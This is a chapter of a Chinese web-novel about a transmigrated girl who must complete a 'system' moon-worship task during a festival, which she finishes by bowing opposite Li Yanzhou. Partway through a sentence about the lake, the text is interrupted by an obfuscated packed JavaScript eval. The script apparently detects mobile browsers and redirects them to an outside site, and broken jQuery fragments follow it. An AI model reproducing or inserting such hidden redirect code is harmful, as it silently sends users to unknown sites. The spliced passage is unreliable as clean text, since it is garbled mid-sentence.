19. 第十九章
作品:《关于我搞错系统任务这件事》 “其实我更好奇的是,你到底从哪里学来的这些东西?”李砚舟问。
季明月无力解释,总不能说这是初中物理常识吧?受过九年义务教育的都知道。“我看书啊,书中自有黄金屋。”季明月说。
“我和阿姊也看过很多书,《齐民要术》载酿酒,《天工开物》记冶铁,却从未有书教人生鬼火、提炼香精。季明月,你读的到底是哪门子圣贤书?”李砚舟显然不信。
季明月担心错过拜月活动,不想与李砚舟过多纠缠,转头就要跑,谁知李砚舟眼疾手快,一下扣住她的手腕,硬生生将其拽了回来。
“又跑?”李砚舟咬牙切齿。
“你弄疼我了!”季明月嚷着,猫腰欲逃。“就许你有秘密,难道我就不能有秘密?”
李砚舟的手指如铁钳般扣住季明月的手腕,月光在他眉骨投下深邃的阴影:“我在你面前何曾有什么秘密?你不是连我胸宽几寸,身长几何,连我腰侧旧疤都摸得一清二楚吗?”
季明月涨红了脸,刚把李砚舟拐进明月阁的时候,想扯布给他做量身衣裳,又担心他拒绝,索性迷晕了扒了衣裳量尺寸,顺手摸了几把腹肌……这事她确实干过,她不可否认。
“没时间跟你闹了,李砚舟,我们去拜月。”季明月拽着他的袖子就要走。
李砚舟的表情变得奇怪,眉头微蹙,抽回衣袖:“女儿家的仪式,我去做什么。”
果然,园中男子们都在水榭边饮酒赋诗,临风赏月,除了——王瑜。那厮已屁滚尿流回家换裤子去了。
金风荐爽,玉露生凉,丹桂香飘,银蟾光满,后院案上早就供着新摘的桂花、石榴、葡萄,并几枚浑圆的月饼。
案前一只铜盆盛满清水,水面浮着几片桂花瓣,映着天上明月,竟似有两轮月亮,一轮在天,一轮在水。
方才还嬉笑的小娘子们忽然安静下来,整齐立于案前,都盼望着祈个美好姻缘。身后侍女们捧着瓜果、丝线,静候拜月之礼。
季照微手持三炷香跪在最前面,微微垂首,口中低诵祝词,声音轻得几乎听不见。待香燃尽,她将香插入炉中,又取了一枚银针,轻轻搁在清水之上,针浮水面,纹丝不动,她唇角微弯,似是得了吉兆。
众家小娘子皆屏息凝神,双手合十,仰面对着皎皎明月虔诚跪拜。
季明月向来不讲那么多规矩,大剌剌往地上一跪,裙摆一洒,眼睛紧闭,默念着,老天爷呀,让我回家吧,如果这个愿望太难实现,那就帮我完成这次拜月任务吧!
诚心对着月亮拜了又拜。
【这死系统不会有延迟吧怎么一点回应都没有啊】
拜月毕,侍女们又捧上七孔针与五色丝线。按习俗,月下穿针,得巧者心灵手巧,姻缘美满。
季明月捏着针,摒着气息,对着月光眯眼穿线,然而线如不长眼般滑了又滑,就是不肯往洞里钻,试了三次也没成功,周遭不断传来小娘子们成功的欢笑声,季明月不由嘟囔:“呵呵,这针孔比李砚舟的心眼还小……”
季照微手中银针却已利落地穿过丝线,连过三孔,分毫不差。她侧眸看向季明月,轻声道:“小满若静心些,自然容易。”
季明月把针线在季照微眼前晃了晃:“那阿姊帮我穿吧!”季照微也是一愣,半晌才从季明月的手中接过针线。
凌绿珠在旁边忍不住道:“哪有拜月乞巧还要人代劳的?明月,你这是打小就没拈过针线吧?”
“我就是穿到明天,也穿不进去。”季明月乐呵道。
接下来便是折桂了。园中桂树正盛,金黄碎蕊缀满枝头,香气馥郁。按习俗,少女可摘桂枝占卜姻缘,若摘得双枝并蒂,便是良缘将至。
季明月仰首望了许久,忽地指向最高处一簇繁花:“绿珠,那枝开得最好。”她踮起脚尖仍差着尺寸,便回首笑道:“你来抱我一把!”
凌绿珠生得敦实,抱起季明月来小事一桩,双臂环在季明月小腿肚向上发力,季明月便比大家都高了一头。
季明月一手环着凌绿珠脖子,一手奋力去够,指尖刚触到桂枝,忽听身后郑临霜不咸不淡的声音:“高处虽好,未必是良枝。你瞧你姊姊,就没有这样的心思。”
季明月回头,见季照微只摘了低处一枝单桂,神色平静。
季明月却不管,迅速摘下一簇双枝,笑嘻嘻道:“那我偏要试试!”心里却想,有本事你别往高处摘啊。
至此,拜月、穿针、折桂,仪式明明都已做完,可系统却迟迟没有反应!
季明月不死心,疑心是地点不对,提着裙子在府中四处奔走。在明月阁对着雕花窗户外的月亮连拜三下,在屋顶上踩着瓦片摇摇晃晃地合掌,在池塘边差点滑进水里,惊起一滩鸥鹭。
统统没用!
凌绿珠和雁回耳语:“你们家月娘到底要求什么样的姻缘,值得她拜这么多次?莫不是想嫁给太子当太子妃吧?”
雁回干笑:“哪能呢,犯病罢了………”雁回绞尽脑汁搜挂着好词,“我的意思是,我们月娘总是别出心裁,匠心独运,标新立异……想法有些特别!你别管她,一会就好了……”
【系统,我到底往哪个方向磕头你才能出来啊?】
季明月急得一头冷汗,拜月拜月,我还拜月教主呢!
蓦地,季明月脑海中闪过一丝精光,如雷劈了脑子,顿时晴明起来。
如果说,这个“月”,指的是她季明月呢?
谁需要拜她季明月呢?
季照微还是李砚舟?总不会是裴云骁吧!
季明月脑海中浮现一个场面,自己拿着一个小皮鞭四处挥舞,趾高气扬地挥舞,逼着季照微姐弟跪地求饶……她忍不住笑出声,又赶紧捂住嘴。
季明月满怀心思,漫无目的走着,不知不觉走到栖星阁附近,季照微刚送完宾客,披风未解,步履匆匆,又要离去。
季明月闪到一棵树后,隐隐约约听到她对侍女云敛说:“你且去给这灯笼换根蜡烛,阿柳还在……湖边……”说话声音渐渐被风吹散了。
季明月招来雁回:“去,就说英娘说的,让季照微去阿娘处回话。”
无论如何,阿娘总有法子去圆她的谎。
支走季照微后,季明月径直朝湖边走去。季府的湖原是引温泉开凿的汤池,后来泉眼枯竭,便扩建成了如今的湖泊。
多年来,这湖如同一块被岁月打磨的翡翠,三面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16094062|179721||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
环着太湖石堆砌的假山,石缝间垂落几丛忍冬藤,对面则是一座高耸的土丘,种着几株虬曲的老松。湖面常年浮着一层薄雾,夜晚更显阴森,季明月平日极少踏足。
她提起裙摆,悄然隐入松林。透过枝叶间隙,只见湖边摆着一张小小案台,上面放着几块胡饼,而李砚舟正一动不动地立在湖畔,目光远眺,似在等人。
这是在干什么?季明月蹑手蹑脚挪了几步,以便更好观察湖边的动静,脚上踩到折落的松枝,发出清脆的响声,季明月吓得如鹌鹑一般缩着,动也不敢动,一抬头便找不到李砚舟人了。
奇怪……这家伙是会瞬间移动吗?
她刚松开紧抓的松枝,准备换个位置,突然背后一股大力推来,她踉跄几步,眼看就要栽下土丘。慌乱中,她猛地拽住李砚舟的蹀躞带,硬生生将他一起拖了下去。
土丘陡峭,砂石松散。李砚舟眼疾手快,一把抓住裸露的树根稳住身形,却见季明月的脑袋正朝一块尖锐的石头撞去——他想也没想,松手拉住她,两人抱着在坡上翻滚数圈,最后他一脚勾住树藤,才堪堪停住。
季明月缩在李砚舟怀里,眼睛闭得紧紧的,生怕哪根枝条不长眼把她给戳瞎了。
“你推我干什么?”季明月从地上爬起来,不满地查看身上伤口。
“我没看清——你鬼鬼祟祟的,谁知道是你。”李砚舟道。
“你呢,你在这干什么?”季明月没好气问。
李砚舟坦然道:“从前在柳溪镇,我和阿姊都会一同拜月,十几年来都是如此。”
季明月撇嘴想,原来是一同拜月,不知道的还以为你们拜堂呢。
不过……她又眼珠一转,对李砚舟说:“方才我还没拜够,我俩再拜一下就是。”
“你?我?”李砚舟指指自己,立刻拒绝:“你自己拜去。”
“你能和阿姊一起拜,怎么就不能跟我一起拜?我也是你的好妹妹啊。”季明月掐着嗓子,扯着袖子尝试撒娇,奈何无用,李砚舟看都没看她一眼。
眼看着月亮就快被云遮住,季明月横下心来:“李砚舟,你不是觉得我很可疑吗?要不问我三个问题,我保证我如实回答你,我若撒谎,便天打雷劈,永世不得超生。但作为交换,你也要陪我拜月,你看可好?”
李砚舟这才转过身来,狐疑打量着季明月,最后问道:“你叫什么?”
“季明月。”
“你从哪里来?”
“魔都。”
“来长安做什么?”
“完成任务。”
“什么任务?”
季明月嘿嘿一笑:“说好了三个问题,你这超纲了。”
李砚舟并不理她径直走到湖边,对着月亮便跪了下去。
季明月立刻眉开眼笑,拎着裙摆屁颠屁颠跟过去,并不朝着湖面,而是跪到李砚舟的对面。在他还没反应过来时,她已经俯身拜下,硬是逼得他不得不与她同步对拜了三回。
季照微匆忙赶到的时候,看到的就是这样的场景,两人相对而拜,衣袂交叠,宛如......夫妻一般。
【恭喜宿主,拜月任务已完成,获得积分30,当前总积分130分】